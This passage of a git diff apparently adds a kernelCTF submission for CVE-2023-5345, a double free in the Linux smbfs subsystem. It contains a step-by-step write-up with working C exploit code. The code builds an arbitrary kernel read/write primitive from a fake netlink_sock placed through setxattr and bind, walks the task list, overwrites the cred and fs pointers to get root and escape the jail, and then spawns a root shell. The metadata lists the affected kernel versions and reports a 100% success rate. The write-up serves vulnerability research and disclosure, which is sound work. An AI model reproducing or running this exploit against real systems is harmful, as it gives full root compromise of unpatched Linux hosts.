SK_SECURITY_OFFSET_FROM_NETLINK_SOCK) = netlink_sock_sk_security_addr; + + get_full_timesplice(); + removexattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock"); + setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", fake_netlink_sock_buf, 1024, 0); + getsockopt(primitive_netlink_socket_fd, SOL_NETLINK, NETLINK_LIST_MEMBERSHIPS, result, &bytes); + return result; +} +``` + +## Step8: Build arbitrarily write primitive + +- Related kernel code: + +```c +static int netlink_bind(struct socket *sock, struct sockaddr *addr, + int addr_len) +{ + struct sock *sk = sock->sk; + struct net *net = sock_net(sk); + struct netlink_sock *nlk = nlk_sk(sk); + struct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr; + int err = 0; + unsigned long groups; + bool bound; + + if (addr_len < sizeof(struct sockaddr_nl)) // addr_len is passed from userspace + return -EINVAL; + + if (nladdr->nl_family != AF_NETLINK) // nladdr->nl_family is passed from userspace + return -EINVAL; + groups = nladdr->nl_groups; // nladdr->nlgroups is passed from userspace. This is the value used to overwrite. + + /* + static inline int netlink_allowed(const struct socket *sock, unsigned int flag) + { + return (nl_table[sock->sk->sk_protocol].flags & flag) || + ns_capable(sock_net(sock->sk)->user_ns, CAP_NET_ADMIN); + } + */ + + if (groups) { + if (!netlink_allowed(sock, NL_CFG_F_NONROOT_RECV)) + /* Either set sk_protocol to a protocol with NL_CFG_F_NONROOT_RECV flag(for example: NETLINK_ROUTE) or setup network user namespace. The exploit do both. + */ + return -EPERM; + + /* + static int netlink_realloc_groups(struct sock *sk) + { + struct netlink_sock *nlk = nlk_sk(sk); + unsigned int groups; + unsigned long *new_groups; + int err = 0; + + netlink_table_grab(); + + groups = nl_table[sk->sk_protocol].groups; + if (!nl_table[sk->sk_protocol].registered) { + err = -ENOENT; + goto out_unlock; + } + + if (nlk->ngroups >= groups) + goto out_unlock; + + ... + out_unlock: + netlink_table_ungrab(); + return err; + */ + + err = netlink_realloc_groups(sk); // set sk_protocol to NETLINK_ROUTE and nlk->ngroups to 0xFFFFFFFF to reach `goto out_unlock` and quickly get out of netlink_realloc_groups function. + if (err) + return err; + } + + if (nlk->ngroups < BITS_PER_LONG) // BITS_PER_LONG == 64 and nlk->ngroups == 0xFFFFFFFF => skip this code path + groups &= (1UL << nlk->ngroups) - 1; + + bound = READ_ONCE(nlk->bound); // i chose to set nlk->bound to 1 + if (bound) { + smp_rmb(); + + if (nladdr->nl_pid != nlk->portid) // nladdr->nl_pid is passed from userspace. Bypass this check easily. + return -EINVAL; + } + + if (nlk->netlink_bind && groups) { // set nlk->netlink_bind = 0 to avoid this code path + int group; + + for (group = 0; group < BITS_PER_TYPE(u32); group++) { + if (!test_bit(group, &groups)) + continue; + err = nlk->netlink_bind(net, group + 1); + if (!err) + continue; + netlink_undo_bind(group, groups, sk); + return err; + } + } + + netlink_lock_table(); + if (!bound) { // since nlk->bound is set to 1, skip this code path + err = nladdr->nl_pid ? + netlink_insert(sk, nladdr->nl_pid) : + netlink_autobind(sock); + if (err) { + netlink_undo_bind(BITS_PER_TYPE(u32), groups, sk); + goto unlock; + } + } + + if (!groups && (nlk->groups == NULL || !(u32)nlk->groups[0])) + goto unlock; + netlink_unlock_table(); + + netlink_table_grab(); + /* + static void + netlink_update_subscriptions(struct sock *sk, unsigned int subscriptions) + { + struct netlink_sock *nlk = nlk_sk(sk); + + if (nlk->subscriptions && !subscriptions) + __sk_del_bind_node(sk); + else if (!nlk->subscriptions && subscriptions) + sk_add_bind_node(sk, &nl_table[sk->sk_protocol].mc_list); + nlk->subscriptions = subscriptions; + } + */ + + /* hweigh32: return number of bits set in a 32 bits value. Return: 0 -> 32. + X = hweight32(groups) - hweight32(nlk->groups[0]) + => -32 <= X <= 32 + => 33 <= nlk->subscriptions <= 2**32 - 33. Any values in this range ensure both if and else if case in netlink_update_subscriptions are skip. + I chose to set nlk->subscriptions to 33 + */ + netlink_update_subscriptions(sk, nlk->subscriptions + + hweight32(groups) - + hweight32(nlk->groups[0])); + nlk->groups[0] = (nlk->groups[0] & ~0xffffffffUL) | groups; // nlk->groups: the address i want to write 4 bytes to. + netlink_update_listeners(sk); // nothing harmful + netlink_table_ungrab(); + + return 0; + +unlock: + netlink_unlock_table(); + return err; +} +``` + +- Build primitive [exploit.c#L526](./exploit.c#L526): + +```c +void abr_write(uint64_t addr, uint32_t val) +{ + uint8_t fake_netlink_sock_buf[1024] = {}; + struct netlink_sock *nlk = (struct netlink_sock*)fake_netlink_sock_buf; + *(uint32_t*)(nlk->buf + NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 0xFFFFFFFF; + *(uint16_t*)(nlk->buf + SK_PROTOCOL_OFFSET_FROM_NETLINK_SOCK) = NETLINK_ROUTE; + *(uint8_t*)(nlk->buf + BOUND_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 1; + *(uint64_t*)(nlk->buf + GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = addr; + *(uint64_t*)(nlk->buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK) = netlink_sock_sk_security_addr; + *(uint32_t*)(nlk->buf + SUBSCRIPTIONS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 33; + *(uint32_t*)(nlk->buf + PORTID_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 1234; + + get_full_timesplice(); + removexattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock"); + setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", fake_netlink_sock_buf, 1024, 0); + struct sockaddr_nl trigger_write_addr; + memset(&addr, 0, sizeof(addr)); + trigger_write_addr.nl_family = AF_NETLINK; + trigger_write_addr.nl_pid = 1234; + trigger_write_addr.nl_groups = val; + bind(primitive_netlink_socket_fd, (struct sockaddr*)&trigger_write_addr, sizeof(trigger_write_addr)); +} +``` + +## Step9: Find `struct task_struct` of privilege escalation process + +- [exploit.c#L680](./exploit.c#L680): + +```c +uint64_t privilege_escalation_task = find_task_by_name(PRIVILEGE_ESCALATION_TASK); +``` + +- [exploit.c#L554](./exploit.c#L554): + +```c +uint64_t find_task_by_name(const char *name) +{ + struct list_head *tasks = NULL; + tasks = abr_read(init_task + TASKS_OFFSET_FROM_TASK_STRUCT, sizeof(struct list_head)); + uint64_t current_task = tasks->prev - TASKS_OFFSET_FROM_TASK_STRUCT; + + while (current_task != init_task) { + void *leak = abr_read(current_task + TASKS_OFFSET_FROM_TASK_STRUCT, + COMM_OFFSET_FROM_TASK_STRUCT - TASKS_OFFSET_FROM_TASK_STRUCT + TASK_COMM_LEN); + char *comm = leak + (COMM_OFFSET_FROM_TASK_STRUCT - TASKS_OFFSET_FROM_TASK_STRUCT); + if (strcmp(comm, name) == 0) + return current_task; + + tasks = leak; + current_task = tasks->prev - TASKS_OFFSET_FROM_TASK_STRUCT; + } + + return 0; +} +``` + +- Traverse from `init_task` to find the `task_struct` object that have `comm` field equal PRIVILEGE_ESCALATION_TASK. This is the process created in step1.1. + +## Step10: Escalate to root and escape from jail + +- [exploit.c#L682](./exploit.c#L682): + +```c +do_privilege_escalation(privilege_escalation_task); +``` + +- [exploit.c#L574](./exploit.c#L574): + +```c +void do_privilege_escalation(uint64_t task_struct_addr) +{ + abr_write(task_struct_addr + REAL_CRED_OFFSET_FROM_TASK_STRUCT, init_cred); + abr_write(task_struct_addr + REAL_CRED_OFFSET_FROM_TASK_STRUCT + 4, init_cred >> 32); + abr_write(task_struct_addr + CRED_OFFSET_FROM_TASK_STRUCT, init_cred); + abr_write(task_struct_addr + CRED_OFFSET_FROM_TASK_STRUCT + 4, init_cred >> 32); + abr_write(task_struct_addr + FS_OFFSET_FROM_TASK_STRUCT, init_fs); + abr_write(task_struct_addr + FS_OFFSET_FROM_TASK_STRUCT + 4, init_fs >> 32); +} +``` + +- Let's call this `struct task_struct`: become_root_task. This is equivalent to: +```c +(uint32_t*)((void*)(become_root_task->real_cred)) = init_cred & 0xFFFFFFFF; +(uint32_t*)((void*)(become_root_task->real_cred) + 4) = init_cred >> 32; +(uint32_t*)((void*)(become_root_task->cred)) = init_cred & 0xFFFFFFFF; +(uint32_t*)((void*)(become_root_task->cred) + 4) = init_cred >> 32; +(uint32_t*)((void*)(become_root_task->fs)) = init_fs & 0xFFFFFFFF; +(uint32_t*)((void*)(become_root_task->fs) + 4) = init_fs >> 32; +``` + +## Step11: Get root shell + +- [exploit.c#L683](./exploit.c#L683): + +```c +wake_child_and_get_root_shell(wake_fd); +``` + +- [exploit.c#L600](./exploit.c#L600): + +```c +void wake_child_and_get_root_shell(int wake_fd) +{ + int w; + write(wake_fd, &w, sizeof(int)); + wait(NULL); +} +``` + +- Write to pipe to wake child process and wait for child to exit. +- Child wakeup and spawn shell [exploit.c#L596](./exploit.c#L596): + +```c +char *sh_args[] = {"sh", NULL}; +execve("/bin/sh", sh_args, NULL); +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/metadata.json new file mode 100644 index 00000000..cb263c5b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/metadata.json @@ -0,0 +1,31 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp103", "exp105"], + "vulnerability": { + "summary": "Forget to reset pointer to NULL eventually leading to double free vulnerability in smbfs subsystem", + "cve": "CVE-2023-5345", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6e43b8aa7cd3c3af686caf0c2e11819a886d705", + "affected_versions": ["6.0.16 - 6.5.5"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_SYS_ADMIN"], + "kernel_config": [ + "CONFIG_SMBFS" + ] + } + }, + "exploits": { + "lts-6.1.52": { + "environment": "lts-6.1.52", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + }, + "mitigation-6.1": { + "environment": "mitigation-6.1", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/original_exp103.tar.gz b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/original_exp103.tar.gz new file mode 100644 index 00000000..b690e2b7 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/original_exp103.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/original_exp105.tar.gz b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/original_exp105.tar.gz new file mode 100644 index 00000000..83772005 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/original_exp105.tar.gz differ